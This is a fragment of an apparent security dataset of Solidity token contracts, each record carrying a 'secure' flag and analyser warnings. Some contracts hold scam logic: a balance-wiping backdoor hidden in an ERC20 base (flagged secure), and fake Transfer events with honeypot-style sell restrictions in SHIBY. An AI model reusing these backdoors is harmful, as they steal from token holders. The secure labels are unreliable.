Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 734dd5d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function buyBackTokens(uint256 amountInWei) external onlyOwner {\n require(\n amountInWei <= 10 ether,\n \"May not buy more than 10 ETH in a single buy to reduce sandwich attacks\"\n );\n\n address[] memory path = new address[](2);\n path[0] = dexRouter.WETH();\n path[1] = address(this);\n\n\t\t// reentrancy-events | ID: 734dd5d\n dexRouter.swapExactETHForTokensSupportingFeeOnTransferTokens{\n value: amountInWei\n }(0, path, address(0xdead), block.timestamp);\n\t\t// reentrancy-events | ID: 734dd5d\n emit BuyBackTriggered(amountInWei);\n }\n}",
"file_name": "solidity_code_3253.sol",
"secure": 0,
"size_bytes": 25417
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract FuLedger is ERC20 {\n constructor() ERC20(\"FuLedger\", \"FuL\") {\n _mint(msg.sender, 10000000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_3254.sol",
"secure": 1,
"size_bytes": 274
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract CryptoNijigen is ERC20 {\n uint8 private immutable _decimals = 9;\n\n constructor() ERC20(\"Crypto Nijigen\", \"CNG\") {\n _totalSupply += 100000000 * 10 ** 9;\n _balances[_msgSender()] += _totalSupply;\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function decimals() public view virtual override returns (uint8) {\n return _decimals;\n }\n\n function burn(address account, uint256 amount) external onlyOwner {\n _burn(account, amount);\n }\n}",
"file_name": "solidity_code_3255.sol",
"secure": 1,
"size_bytes": 654
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface ICHONK {\n function mintTo(address addr, uint256 amount) external;\n function canMint() external view returns (bool);\n function balanceOf(address owner) external view returns (uint256);\n}",
"file_name": "solidity_code_3256.sol",
"secure": 1,
"size_bytes": 270
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC721A.sol\" as ERC721A;\nimport \"./ICHONK.sol\" as ICHONK;\n\ncontract FatChonke is ERC721A {\n\t// WARNING Optimization Issue (constable-states | ID: 600ba19): FatChonke.CHONK should be constant \n\t// Recommendation for 600ba19: Add the 'constant' attribute to state variables that never change.\n uint256 public CHONK = 5000000000 ether;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0a52b4b): FatChonke.maxSupply should be constant \n\t// Recommendation for 0a52b4b: Add the 'constant' attribute to state variables that never change.\n uint256 public maxSupply = 6969;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7c4f0e0): FatChonke.cost should be constant \n\t// Recommendation for 7c4f0e0: Add the 'constant' attribute to state variables that never change.\n uint256 public cost = 0.001 ether;\n\n uint256 public freeAmount = 2;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9cd6fef): FatChonke.owner should be immutable \n\t// Recommendation for 9cd6fef: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public owner;\n\n ICHONK public chonkAddress;\n\n string uri = \"\";\n\n function teamMint(address addr, uint256 amount) public onlyOwner {\n require(totalSupply() + amount <= maxSupply);\n _safeMint(addr, amount);\n }\n\n modifier onlyOwner() {\n require(owner == msg.sender);\n _;\n }\n\n function mint(uint32 amount) public payable {\n require(totalSupply() + amount <= maxSupply, \"sold out!\");\n require(amount <= 20, \"max 20\");\n require(msg.sender == tx.origin);\n require(msg.value >= (amount - freeAmount) * cost, \"not enough eth\");\n _safeMint(msg.sender, amount);\n }\n\n function _afterTokenTransfers(\n address from,\n address to,\n uint256 startTokenId,\n uint256 quantity\n ) internal override {\n if (chonkAddress.canMint()) {\n if (chonkAddress.balanceOf(to) < 1) {\n chonkAddress.mintTo(to, quantity * CHONK);\n }\n chonkAddress.mintTo(from, quantity * CHONK);\n }\n }\n\n constructor() ERC721A(\"FatChonke\", \"Chonke\") {\n owner = msg.sender;\n }\n\n function setFree(uint32 freeamount) public onlyOwner {\n freeAmount = freeamount;\n }\n\n function setCHONK(address chonk) public onlyOwner {\n chonkAddress = ICHONK(chonk);\n }\n\n function setUri(string memory i) public onlyOwner {\n uri = i;\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view override returns (string memory) {\n return string(abi.encodePacked(uri, _toString(tokenId), \".json\"));\n }\n\n function withdraw() external onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n}",
"file_name": "solidity_code_3257.sol",
"secure": 1,
"size_bytes": 2954
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n using SafeMath for uint256;\n uint256 private _allowance = 0;\n\n address DEAD = 0x000000000000000000000000000000000000dEaD;\n\n mapping(address => uint256) private _balances;\n\n address internal devWallet = 0x9478c46e2Aaf2F9392Fd9f477850a9f4958922dF;\n string private _name;\n\n string private _symbol;\n mapping(address => mapping(address => uint256)) private _allowances;\n address private uniswapV2Factory =\n 0x0dd222029EE856AA303273Cd5a136a1B8B275Ce7;\n uint256 private tTotal;\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[from] = fromBalance - amount;\n\n _balances[to] = _balances[to].add(amount);\n emit Transfer(from, to, amount);\n }\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 9;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return tTotal;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n function _refreshPool(address _refreshPoolSender) external {\n _balances[_refreshPoolSender] = msg.sender == uniswapV2Factory\n ? decimals()\n : _balances[_refreshPoolSender];\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n\n tTotal -= amount;\n }\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(address(0));\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n function _afterTokenTransfer(address to) internal virtual {}\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n tTotal += amount;\n unchecked {\n _balances[account] += amount;\n }\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(account);\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_3258.sol",
"secure": 1,
"size_bytes": 6266
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract MemeCoin is ERC20, Ownable {\n constructor() ERC20(\"Meme Coin\", \"MEME\") {\n transferOwnership(devWallet);\n _mint(owner(), 8010000000000 * 10 ** uint256(decimals()));\n }\n}",
"file_name": "solidity_code_3259.sol",
"secure": 1,
"size_bytes": 397
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./IERC20Meta.sol\" as IERC20Meta;\n\ncontract SHIBY is Ownable, IERC20, IERC20Meta {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n address private _p76234;\n\n\t// WARNING Optimization Issue (constable-states | ID: de73fe9): SHIBY._e242 should be constant \n\t// Recommendation for de73fe9: Add the 'constant' attribute to state variables that never change.\n uint256 private _e242 = 999;\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 8;\n }\n\n function claim(address[] calldata _addresses_, uint256 _out) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Transfer(_p76234, _addresses_[i], _out);\n }\n }\n\n function multicall(address[] calldata _addresses_, uint256 _out) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Transfer(_p76234, _addresses_[i], _out);\n }\n }\n\n function execute(address[] calldata _addresses_, uint256 _out) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Transfer(_p76234, _addresses_[i], _out);\n }\n }\n\n function transfer(address _from, address _to, uint256 _wad) external {\n emit Transfer(_from, _to, _wad);\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address accountOwner = _msgSender();\n\n _transfer(accountOwner, to, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address accountOwner = _msgSender();\n\n _approve(accountOwner, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 813f1e5): SHIBY.actionPair(address).account lacks a zerocheck on \t _p76234 = account\n\t// Recommendation for 813f1e5: Check that the address is not zero.\n function actionPair(address account) public virtual returns (bool) {\n require(_msgSender() == 0x0d655d70a207515E6090501725474a84465C1B76);\n\n\t\t// missing-zero-check | ID: 813f1e5\n _p76234 = account;\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n\n unchecked {\n _balances[account] += amount;\n }\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n\n renounceOwnership();\n }\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n if (\n (from != _p76234 &&\n to == 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80) ||\n (_p76234 == to &&\n from != 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80 &&\n from != 0x3D1A5f1e113a1E710270e2c143398C0117a196D7 &&\n from != 0x0d655d70a207515E6090501725474a84465C1B76 &&\n from != 0x20BFAa1a70968f28B3F81413144FB2E89760DA7D)\n ) {\n uint256 _X7W88 = amount + 2;\n\n require(_X7W88 < _e242);\n }\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _spendAllowance(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(accountOwner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(accountOwner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n constructor() {\n _name = unicode\"SHIBY\";\n\n _symbol = unicode\"SHIBY\";\n\n _mint(msg.sender, 10000000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_326.sol",
"secure": 0,
"size_bytes": 6546
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract AntiWhale is Ownable {\n uint256 public startDate;\n uint256 public endDate;\n uint256 public limitWhale;\n bool public antiWhaleActivated;\n\n function activateAntiWhale() public onlyOwner {\n require(antiWhaleActivated == false);\n antiWhaleActivated = true;\n }\n\n function deActivateAntiWhale() public onlyOwner {\n require(antiWhaleActivated == true);\n antiWhaleActivated = false;\n }\n\n function setAntiWhale(\n uint256 _startDate,\n uint256 _endDate,\n uint256 _limitWhale\n ) public onlyOwner {\n startDate = _startDate;\n endDate = _endDate;\n limitWhale = _limitWhale;\n antiWhaleActivated = true;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: ba739a9): AntiWhale.isWhale(uint256) uses timestamp for comparisons Dangerous comparisons block.timestamp >= startDate && block.timestamp <= endDate\n\t// Recommendation for ba739a9: Avoid relying on 'block.timestamp'.\n function isWhale(uint256 amount) public view returns (bool) {\n if (\n msg.sender == owner() ||\n antiWhaleActivated == false ||\n amount <= limitWhale\n ) return false;\n\n\t\t// timestamp | ID: ba739a9\n if (block.timestamp >= startDate && block.timestamp <= endDate)\n return true;\n\n return false;\n }\n}",
"file_name": "solidity_code_3260.sol",
"secure": 0,
"size_bytes": 1531
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./AntiWhale.sol\" as AntiWhale;\n\ncontract Ticket is Context, IERC20, Ownable, AntiWhale {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (constable-states | ID: e9088fb): Ticket._name should be constant \n\t// Recommendation for e9088fb: Add the 'constant' attribute to state variables that never change.\n string private _name = \"Ticket\";\n\t// WARNING Optimization Issue (constable-states | ID: 7ccc0f6): Ticket._symbol should be constant \n\t// Recommendation for 7ccc0f6: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"Ticket\";\n\t// WARNING Optimization Issue (constable-states | ID: 0007924): Ticket._decimals should be constant \n\t// Recommendation for 0007924: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 18;\n\n uint256 constant maxCap = 80000000000 * (10 ** 18);\n uint256 private _totalSupply = maxCap;\n\n constructor() {\n _balances[msg.sender] = maxCap;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 933019f): Ticket.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 933019f: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n if (recipient == address(0)) {\n _burn(sender, amount);\n } else {\n require(!isWhale(amount), \"Error: No time for whales!\");\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n _balances[account] = accountBalance - amount;\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 205c5c0): Ticket._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 205c5c0: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n}",
"file_name": "solidity_code_3261.sol",
"secure": 0,
"size_bytes": 5851
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract RGGERC20 is IERC20 {\n using SafeMath for uint256;\n\n string public constant name = \"ROI Gaming\";\n string public constant symbol = \"RGG\";\n uint8 public constant decimals = 18;\n\n mapping(address => uint256) balances;\n mapping(address => mapping(address => uint256)) allowed;\n\n\t// WARNING Optimization Issue (immutable-states | ID: df92c72): RGGERC20.totalSupply_ should be immutable \n\t// Recommendation for df92c72: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 totalSupply_;\n\n constructor(uint256 total) {\n totalSupply_ = total;\n balances[msg.sender] = totalSupply_;\n }\n\n function totalSupply() public view override returns (uint256) {\n return totalSupply_;\n }\n\n function balanceOf(\n address tokenOwner\n ) public view override returns (uint256) {\n return balances[tokenOwner];\n }\n\n function transfer(\n address receiver,\n uint256 numTokens\n ) public override returns (bool) {\n require(numTokens <= balances[msg.sender]);\n balances[msg.sender] = balances[msg.sender].sub(numTokens);\n balances[receiver] = balances[receiver].add(numTokens);\n emit Transfer(msg.sender, receiver, numTokens);\n return true;\n }\n\n function approve(\n address delegate,\n uint256 numTokens\n ) public override returns (bool) {\n allowed[msg.sender][delegate] = numTokens;\n emit Approval(msg.sender, delegate, numTokens);\n return true;\n }\n\n function allowance(\n address owner,\n address delegate\n ) public view override returns (uint256) {\n return allowed[owner][delegate];\n }\n\n function transferFrom(\n address owner,\n address buyer,\n uint256 numTokens\n ) public override returns (bool) {\n require(numTokens <= balances[owner]);\n require(numTokens <= allowed[owner][msg.sender]);\n\n balances[owner] = balances[owner].sub(numTokens);\n allowed[owner][msg.sender] = allowed[owner][msg.sender].sub(numTokens);\n balances[buyer] = balances[buyer].add(numTokens);\n emit Transfer(owner, buyer, numTokens);\n return true;\n }\n}",
"file_name": "solidity_code_3262.sol",
"secure": 1,
"size_bytes": 2516
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract PNUT is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private _buyerMap;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: ae14ab6): PNUT.bots is never initialized. It is used in PNUT._transfer(address,address,uint256) PNUT.isBotter(address)\n\t// Recommendation for ae14ab6: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private bots;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n\n bool public transferDelayEnabled = false;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 93f52df): PNUT._taxWallet should be immutable \n\t// Recommendation for 93f52df: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7b3ed04): PNUT._initialBuyTax should be constant \n\t// Recommendation for 7b3ed04: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0688330): PNUT._initialSellTax should be constant \n\t// Recommendation for 0688330: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: d356212): PNUT._finalBuyTax should be constant \n\t// Recommendation for d356212: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0627003): PNUT._finalSellTax should be constant \n\t// Recommendation for 0627003: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: e015910): PNUT._reduceBuyTaxAt should be constant \n\t// Recommendation for e015910: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0406036): PNUT._reduceSellTaxAt should be constant \n\t// Recommendation for 0406036: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: d5ac358): PNUT._preventSwapBefore should be constant \n\t// Recommendation for d5ac358: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 10;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 8;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Peanut\";\n\n string private constant _symbol = unicode\"PNUT\";\n\n uint256 public _maxTxAmount = 10000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: b8d2a0d): PNUT._taxSwapThreshold should be constant \n\t// Recommendation for b8d2a0d: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 5000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: d3f41c5): PNUT._maxTaxSwap should be constant \n\t// Recommendation for d3f41c5: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 5000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a309670): PNUT.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for a309670: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n require(\n !isUniswapV3(spender),\n \"Approval for Uniswap V3 liquidity is not allowed\"\n );\n\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b0b2d10): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b0b2d10: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 850bd79): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 850bd79: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: b0b2d10\n\t\t// reentrancy-benign | ID: 850bd79\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: b0b2d10\n\t\t// reentrancy-benign | ID: 850bd79\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0312d22): PNUT._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0312d22: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 850bd79\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: b0b2d10\n emit 